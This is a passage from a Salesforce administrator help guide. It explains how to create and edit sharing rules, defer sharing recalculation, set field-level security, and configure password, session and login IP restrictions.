Case sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 case sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Case Sharing Rules related list, click New. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Select a rule type. 6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

654

Security and Sharing

Sharing Rules Overview

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 8. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

9. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Creating Campaign Sharing Rules


Available in: Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create sharing rules: Manage Users

Campaign sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 campaign sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Campaign Sharing Rules related list, click New. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Select a rule type. 6. Depending on the rule type you selected, do the following:
Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter.

655

Security and Sharing

Sharing Rules Overview

Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 8. Select the sharing access setting for users. Access Setting Read Only Read/Write Full Access Description Users can view, but not update, records. Users can view and update records. Any user in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record's owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the organization-wide sharing setting for activities is Controlled by Parent.

9. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview

Creating Custom Object Sharing Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create sharing rules: Manage Users

Custom object sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 custom object sharing rules, including up to 50 criteria-based sharing rules. 1. 2. 3. 4. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. Click Your Name > Setup > Security Controls > Sharing Settings. In the Sharing Rules related list for the custom object, click New. Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Select a rule type.

656

Security and Sharing

Sharing Rules Overview

6. Depending on the rule type you selected, do the following:


Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 8. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

9. Click Save.

See Also:
Creating and Editing Groups Sharing Rules Overview Criteria-Based Sharing Rules Overview Entering Filter Criteria

Sharing Rule Categories


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions. Partner Portals and Customer Portals are not available in Database.com

When you define a sharing rule, you can choose from the following categories in the owned by members of and Share with drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may not appear.

657

Security and Sharing

Sharing Rules Overview

Note: You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public groups.

Category Queues Public Groups

Description All records owned by the queue, excluding records owned by individual members of the queue. Available only in the owned by members of list. All public groups defined by your administrator. If a partner portal or Customer Portal is enabled for your organization, the All Partner Users or All Customer Portal Users group displays. These groups includes all users allowed to access your partner portal or Customer Portal, except for high-volume portal users.

Roles Portal Roles

All roles defined for your organization. This includes all of the users in the specified role. All roles defined for your organization's partner portal or Customer Portal. This includes all users in the specified portal role, except high-volume portal users. A portal role name includes the name of the account that it's associated with, except for person accounts, which include the user Alias.

Roles and Subordinates

All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including partner portal and Customer Portal roles that contain users with a portal license type. Portal roles are only included in this category if a partner portal or Customer Portal is enabled for your organization. The Roles, Internal and Portal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy.

Portal Roles and Subordinates

All roles defined for your organization's partner portal or Customer Portal. This includes all of the users in the specified portal role plus all of the users below that role in the portal role hierarchy, except for high-volume portal users. A portal role name includes the name of the account that it's associated with, except for person accounts, which include the user Alias.

Roles and Internal Subordinates

All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, excluding partner portal and Customer Portal roles. This category only displays if a partner portal or Salesforce Customer Portal is enabled for your organization. The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal.

Roles, Internal and Portal Subordinates

All roles defined for your organization. This includes all of the users in the specified role plus all of the users in roles below that role, including partner portal and Customer Portal roles. This category only displays if a partner portal or Salesforce Customer Portal is enabled for your organization.

658

Security and Sharing

Sharing Rules Overview

Category

Description The Roles and Internal Subordinates data set category is only available in your organization after you create at least one role in the role hierarchy and enable a portal.

Territories Territories and Subordinates

All territories defined for your organization. All territories defined for your organization. This includes the specified territory plus all territories below it.

See Also:
Creating and Editing Groups Overview of Roles Territory Management Overview Partner Portal Overview Setting Up Your Customer Portal

Editing Lead Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Sharing Settings. In the Lead Sharing Rules related list, click Edit next to the rule you want to change. Change the Label and Rule Name if desired. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

659

Security and Sharing

Sharing Rules Overview

6. Click Save.

See Also:
Sharing Rules Overview

Editing Account Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Sharing Settings. In the Account Sharing Rules related list, click Edit next to the rule you want to change. Change the Label and Rule Name if desired. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select a setting for Default Account, Contract and Asset Access. 6. In the remaining fields, select the access settings for the records associated with the shared accounts. Access Setting Private (available for associated contacts, opportunities, and cases only) Read Only Read/Write Description Users can't view or update records, unless access is granted outside of this sharing rule.

Users can view, but not update, records. Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

660

Security and Sharing

Sharing Rules Overview

7. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

Editing Account Territory Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For account territory sharing rules, you can edit the sharing access settings, but no other settings. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Sharing Settings. In the Account Territory Sharing Rules related list, click Edit next to the rule you want to change. Change the Label and Rule Name if desired. Select the sharing access setting for users. Access Setting Private (available for associated contacts, opportunities, and cases only) Read Only Read/Write Description Users can't view or update records, unless access is granted outside of this sharing rule.

Users can view, but not update, records. Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

5. Click Save.

See Also:
Sharing Rules Overview

661

Security and Sharing

Sharing Rules Overview

Editing Contact Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Sharing Settings. In the Contact Sharing Rules related list, click Edit next to the rule you want to change. Change the Label and Rule Name if desired. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

6. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

662

Security and Sharing

Sharing Rules Overview

Editing Opportunity Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Sharing Settings. In the Opportunity Sharing Rules related list, click Edit next to the rule you want to change. Change the Label and Rule Name if desired. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the associated account. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

6. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

663

Security and Sharing

Sharing Rules Overview

Editing Case Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Sharing Settings. In the Case Sharing Rules related list, click Edit next to the rule you want to change. Change the Label and Rule Name if desired. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

6. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

664

Security and Sharing

Sharing Rules Overview

Editing Campaign Sharing Rules


Available in: Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Sharing Settings. In the Campaign Sharing Rules related list, click Edit next to the rule you want to change. Change the Label and Rule Name if desired. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. Access Setting Read Only Read/Write Full Access Description Users can view, but not update, records. Users can view and update records. Any user in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record's owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the organization-wide sharing setting for activities is Controlled by Parent.

6. Click Save.

See Also:
Sharing Rules Overview

665

Security and Sharing

Sharing Rules Overview

Editing Custom Object Sharing Rules


Available in: Enterprise,, Unlimited, Developer, and Database.com Editions.

User Permissions Needed To edit sharing rules: Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on other criteria, you can edit the criteria and sharing access settings. 1. 2. 3. 4. Click Your Name > Setup > Security Controls > Sharing Settings. In the Sharing Rules related list for the custom object, click Edit next to the rule you want to change. Change the Label and Rule Name if desired. If you selected a rule that's based on owner, skip to the next step. If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 5. Select the sharing access setting for users. Access Setting Read Only Read/Write Description Users can view, but not update, records. Users can view and update records.

6. Click Save.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview

666

Security and Sharing

Sharing Rules Overview

Sharing Rule Considerations


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Only custom object sharing rules are available in Database.com

Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing rules: You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default levels. Sharing rules apply to all new and existing records that meet the definition of the source data set. Sharing rules apply to both active and inactive users. When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access levels. When you delete a sharing rule, the sharing access created by that rule is automatically removed. When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the transferred records as necessary. When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access as necessary. Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact and case sharing rules provide the role or group members with access to the associated account as well. If multiple sharing rules give a user different levels of access to a record, the user gets the most permissive access level. Users in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from a sharing rule, provided that the object is a standard object or the Grant Access Using Hierarchies option is selected. Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts. Making changes to sharing rules may require changing a large number of records at once. To process these changes efficiently, your request may be queued and you may receive an email notification when the process has completed. You can create rules to share records between most types of Customer Portal users and Salesforce users. Similarly, you can create sharing rules between Customer Portal users from different accounts as long as they have the Customer Portal Manager user license. However, you can't include high-volume portal users in sharing rules because they don't have roles and can't be in public groups. You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal users.

667

Security and Sharing

Sharing Rules Overview

Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact, and opportunity records.

See Also:
Sharing Rules Overview Criteria-Based Sharing Rules Overview About High-Volume Portal Users (Service Cloud Portal Users)

Defer Sharing Calculations Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact salesforce.com. Performing a large number of configuration changes can lead to very long sharing rule evaluations or timeouts. To avoid these issues, an administrator can suspend these calculations and resume calculations during an organization's maintenance period. Deferring sharing calculation is ideal if you make a large number of changes to roles, territories, groups, users, portal account ownership, or public groups participating in sharing rules, and want to suspend the automatic sharing calculation to a later time. Group membership and sharing rule calculation are enabled by default. If You can Suspend, update, and resume group membership calculation. This suspends sharing rule calculation and requires a full recalculation of sharing rules. Suspend, update, and resume sharing rule calculation.

Group membership and sharing rule calculation are enabled

Group membership calculation is enabled and sharing rule calculation is suspended

Suspend, update, and, resume group membership calculation.

Group membership calculation is suspended and sharing rule Suspend, update, resume, and recalculate sharing rule calculation is enabled calculation.

To suspend or resume group membership calculation, see Managing Group Membership Calculations.

668

Security and Sharing

Sharing Rules Overview

To suspend, resume, or recalculate sharing rule calculation, see Deferring Sharing Rule Calculations.

See Also:
Managing Group Membership Calculations Recalculating Sharing Rules Deferring Sharing Rule Calculations

Recalculating Sharing Rules


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions.

User Permissions Needed To recalculate sharing rules: Manage Users

When you make changes to groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as necessary. Changes could include adding or removing individual users from a group, role, or territory, changing which role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing a group from within another group. However, if these changes affect too many records at once, a message appears warning that the sharing rules won't be automatically reevaluated, and you must manually recalculate them. Note: You dont have to recalculate each time you edit or create a new sharing rule. The Recalculate buttons on the Sharing Rules related lists should only be used if sharing rule updates have failed or are not working as expected. Admins will receive a notification email if sharing rule updates have failed. To manually recalculate an object's sharing rules: 1. Click Your Name > Setup > Security Controls > Sharing Settings. 2. In the Sharing Rules related list for the object you want, click Recalculate. Note: The Recalculate button is disabled when group membership or sharing rule calculations are deferred.

When sharing is recalculated, Salesforce also runs all Apex sharing recalculations.

669

Security and Sharing

Sharing Rules Overview

Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming at your discretion.

See Also:
Sharing Rules Overview Recalculating Apex Managed Sharing Defer Sharing Calculations Overview Managing Group Membership Calculations

Deferring Sharing Rule Calculations


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions.

User Permissions Needed To defer (suspend and resume) and recalculate sharing rules:: Manage Users AND Manage Sharing Calculation Deferral

Note: The defer sharing calculation feature isn't enabled by default. To enable it for your organization, contact salesforce.com. To suspend, resume, or recalculate sharing rule calculation: 1. Click Your Name > Setup > Security Controls > Defer Sharing Calculations. 2. In the Sharing Rule Calculations related list, click Suspend. 3. Make changes to sharing rules, roles, territories, or public groups participating in sharing rules. Note: Any changes to sharing rules require a full recalculation.

To enable sharing rule calculation, click Resume. 4. To manually recalculate sharing rules, click Recalculate. Consider deferring your sharing calculations before performing massive updates to sharing rules. When sharing is recalculated, Salesforce also runs all Apex sharing recalculations.

670

Security and Sharing

Field-Level Security Overview

Managing Group Membership Calculations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To defer (suspend and resume) sharing calculations: Manage Users AND Manage Sharing Calculation Deferral

When you make changes to roles, territories, groups, or users, or change ownership of portal accounts, group membership is automatically recalculated to add or remove access as necessary. Changes can include adding or removing a user from a group or changing a role to allow access to different sets of reports. If you are making changes to groups that affect a lot of records, you may want to suspend automatic group membership calculation. To suspend or resume group membership calculation: 1. Click Your Name > Setup > Security Controls > Defer Sharing Calculations. 2. In the Group Membership Calculations related list, click Suspend. Note: If sharing rule calculations are enabled, suspending group membership calculations also suspends sharing rule calculations. Resuming group membership calculations also requires full sharing rule recalculation. 3. Make your changes to roles, territories, groups, users, or portal account ownership. 4. To enable group membership calculation, click Resume.

See Also:
Defer Sharing Calculations Overview Recalculating Sharing Rules

Field-Level Security Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Note:

Who Sees What: Field-level Security (3:58 minutes)

Watch how you can restrict access to specific fields on a profile by profile basis. Field-level security settings let administrators restrict users access to view and edit specific fields in:

671

Security and Sharing

Field-Level Security Overview

Detail and edit pages Related lists List views Reports Connect Offline Email and mail merge templates Custom links The partner portal The Salesforce Customer Portal Synchronized data Imported data

The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read-only in the field-level security settings, the field-level security overrides the page layout and the field will be read-only for the user. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. You can define field-level security in any of the following ways: For multiple fields on a single permission set or profile For a single field on all profiles

After setting field-level security for users, you can: Create page layouts to organize the fields on detail and edit pages. Tip: Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Verify users access to fields by checking the field accessibility grid. Set the fields that display in search results, in lookup dialog search results, and in the key lists on tab home pages. Note: Roll-up summary and formula fields are always read-only on detail pages and not available on edit pages. They may also be visible to users even though they reference fields that your users cannot see. Universally required fields always display on edit pages regardless of field-level security. The relationship group wizard allows you to create and edit relationship groups regardless of field-level security. For more information on the behaviors of relationship group members, see Relationship Group Considerations on page 2815.

See Also:
Overview of Page Layouts and Field-Level Security Overview of User Permissions and Access Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

672

Security and Sharing

Field-Level Security Overview

Setting Field Permissions in Permission Sets and Profiles


Field permissions specify the access level for each field in an object. Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set field-level security: Customize Application

1. Click Your Name > Setup > Manage Users, then click Permission Sets or Profiles. 2. Select a permission set or profile. 3. Depending on which interface you're using, do one of the following: Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object you want and select it from the list. Click Edit, then scroll to the Field Permissions section. Original profile user interfaceIn the Field-Level Security section, click View next to the object you want to modify, and then click Edit.

4. Specify the field's access level. 5. Click Save.

See Also:
Field-Level Security Overview

Setting Field-Level Security for a Single Field on All Profiles


Available in: Enterprise, Unlimited and Developer Editions

User Permissions Needed To set field-level security: Customize Application

1. 2. 3. 4.

Select Your Name > Setup > Customize, click a tab or activity link, and click Fields. Select the field you want to modify. Click Set Field-Level Security. Specify the field's access level.

673

Security and Sharing

Setting Password Policies

5. Click Save.

See Also:
Field-Level Security Overview

Setting Password Policies


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set password policies: Manage Users

For your organizations security, you can set various password and login policies. Note: User passwords cannot exceed 16,000 bytes.

1. Click Your Name > Setup > Security Controls > Password Policies. 2. Customize the password settings. Field
User passwords expire in

Description The length of time until all user passwords expire and must be changed. Users with the Password Never Expires permission are not affected by this setting. The default is 90 days. This setting is not available for Self-Service portals. Save users previous passwords so that they must always reset their password to a new, unique password. Password history is not saved until you set this value. The default is 3 passwords remembered. You cannot select No passwords remembered unless you select Never expires for the User passwords expire in field. This setting is not available for Self-Service portals. The minimum number of characters required for a password. When you set this value, existing users aren't affected until the next time they change their passwords. The default is 8 characters.

Enforce password history

Minimum password length

674

Security and Sharing

Setting Password Policies

Field
Password complexity requirement

Description The requirement for which types of characters must be used in a users password. Complexity levels:
No restrictionallows any password value and is

the least secure option.


Must mix alpha and numericrequires at least

one alphabetic character and one number. This is the default.


Must mix alpha, numeric, and special charactersrequires at least one alphabetic character,

one number, and one of the following characters: ! # $ % - _ = + < >.


Password question requirement

The values are Cannot contain password, meaning that the answer to the password hint question cannot contain the password itself; or None, the default, for no restrictions on the answer. The users answer to the password hint question is required. This setting is not available for Self-Service portals, Customer Portals, or partner portals. The number of login failures allowed for a user before they become locked out. This setting is not available for Self-Service portals. The duration of the login lockout. The default is 15 minutes. This setting is not available for Self-Service portals. Note: If users are locked out, they must wait until the lockout period expires. Alternatively, a user with the Reset Passwords and Unlock Users permission can unlock them by clicking Your Name > Setup > Manage Users > Users, selecting the user, then clicking Unlock. This button is only available when a user is locked out.

Maximum invalid login attempts

Lockout effective period

3. Customize the forgotten password and locked account assistance information. Note: This setting is not available for Self-Service portals, Customer Portals, or partner portals.

Field
Message

Description When set, this custom message appears in the Account Lockout email and at the bottom of the Confirm Identity screen for users resetting their passwords. You can customize

675

Security and Sharing

Setting Password Policies

Field

Description it with the name of your internal help desk or a system administrator. For the lockout email, the message only appears for accounts that need an administrator to reset them. Lockouts due to time restrictions get a different system email message.

Help link

If set, this link displays with the text defined in the Message field. In the Account Lockout email, the URL displays just as it is typed into the Help link field, so the user can see where the link takes them. This is a security feature because the user is not within a Salesforce organization. On the Confirm Identity password screen, the Help link URL combines with the text in the Message field to make a clickable link. Security isn't an issue since the user is in a Salesforce organization when changing passwords. Valid protocols: http https mailto:

4. Specify an alternative home page for users with the API Only User permission. After completing user management tasks such as resetting a password, API-only users are redirected to the URL specified here, rather than to the login page. 5. Click Save.

See Also:
Setting Login Restrictions Resetting Passwords Expiring Passwords Security Implementation Guide

676

Security and Sharing

Setting Session Security

Setting Session Security


The Login IP Ranges setting is available in: Personal, Contact Manager, Group, Professional, and Database.com Editions (Valid IP addresses can be set at the profile level for Enterprise, Unlimited, Developer, and Database.com Editions) The Lock sessions to the IP address from which they originated setting is available in: Enterprise, Unlimited, Developer, and Database.com Editions All other settings available in: Personal, Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To set session security: Customize Application

You can modify session security settings to specify connection type, timeout settings, and more. 1. Click Your Name > Setup > Security Controls > Session Settings. 2. Customize the session security settings. Field
Timeout value

Description Length of time after which the system logs out inactive users. Select a value between 15 minutes and 12 hours. Choose a shorter timeout period if your organization has sensitive information and you want to enforce stricter security. Note: The last active session time value isnt updated until halfway through the timeout period. That is, if you have a 30 minute timeout, the system wont check for activity until 15 minutes have passed. For example, assume you have a 30 minute timeout value. If you update a record after 10 minutes, the last active session time value wont be updated because there was no activity after 15 minutes. Youll be logged out in 20 more minutes (30 minutes total) because the last active session time wasnt updated. Suppose you update a record after 20 minutes. Thats five minutes after the last active session time is checked, so your timeout resets and you have another 30 minutes before being logged out, for a total of 50 minutes.

Disable session timeout warning popup

Determines whether the system prompts inactive users with a timeout warning message. Users are prompted 30 seconds before timeout as specified by the Timeout value.

677

Security and Sharing

Setting Session Security

Field
Lock sessions to the IP address from which they originated

Description Determines whether user sessions are locked to the IP address from which the user logged in; helping to prevent unauthorized persons from hijacking a valid session. Note: This may inhibit various applications and mobile devices.

Require secure connections (HTTPS) Determines whether HTTPS is required to log in to or access Salesforce,

apart from Force.com sites, which can still be accessed using HTTP. (To enforce HTTPS for all Force.com sites communication, see Public Access Settings for Force.com Sites on page 1700.) This option is enabled by default for security reasons. It should not be disabled. Once this preference is set to require HTTPS, you cant manually change it. To change to HTTP, contact your salesforce.com representative. Note: The Resetting Passwords on page 515 page can only be accessed using HTTPS.

Force relogin after Login-As-User

Determines whether an administrator that is logged in as another user is returned to their previous session after logging out as the secondary user. For more information, see Logging In as Another User on page 517. If the option is enabled, an administrator must log in again to continue using Salesforce after logging out as the user; otherwise, the administrator is returned to their original session after logging out as the user.

Require HttpOnly attribute

Restricts session ID cookie access. A cookie with the HttpOnly attribute is not accessible via non-HTTP methods, such as calls from JavaScript. Note: If you have a custom or packaged application that uses JavaScript to access session ID cookies, selecting Require HttpOnly attribute breaks your application because it denies the application access to the cookie. The Developer Console and AJAX Toolkit debugging window are also not available if the Require HttpOnly attribute is selected.

Enable caching and password autocomplete on login page

Allows the users browser to store usernames. If enabled, after an initial log in, usernames are auto-filled into the User Name field on the login page. This preference is selected by default and caching and autocomplete are enabled. Enables users to receive a one-time PIN delivered via SMS. Once enabled, administrators or users must verify their mobile phone number before taking advantage of this feature.

Enable SMS-based identity confirmation

678

Security and Sharing

Restricting Login IP Ranges for Your Organization

Field
Login IP Ranges

Description Specifies a range of IP addresses users must log in from (inclusive), or the login will fail. Users need to activate their computers to successfully log in from IP addresses outside this range. To specify a range, click New and enter a lower and upper IP address to define the range. This field is not available in Enterprise, Unlimited, and Developer Editions. In those editions, you can specify valid IP addresses per profile. For more information, see Setting Login Restrictions on page 557.

Enable clickjack protection for non-setup Salesforce pages

Protects against clickjack attacks on non-setup Salesforce pages. Clickjacking is also known as a user interface redress attack. Setup pages already include protection against clickjack attacks. (Setup pages are those pages accessed from the left side of the screen after clicking Your Name > Setup on the upper-right part of the user interface.) Protects against clickjack attacks on your Visualforce pages. Clickjacking is also known as a user interface redress attack. Warning: If you use custom Visualforce pages within a frame or iframe, you may see a blank page or the page may display without the frame. For example, Visualforce pages in a page layout do not function when clickjack protection is on.

Enable clickjack protection for non-setup customer Visualforce pages

3. Click Save.

See Also:
Security Implementation Guide

Restricting Login IP Ranges for Your Organization


Available in: All Editions

User Permissions Needed To view network access: To change network access: Login Challenge Enabled Manage Users

Note:

Who Sees What: Organization Access (4:25 minutes)

Watch how you can restrict login through IP ranges and login hours.

679

Security and Sharing

Restricting Login IP Ranges for Your Organization

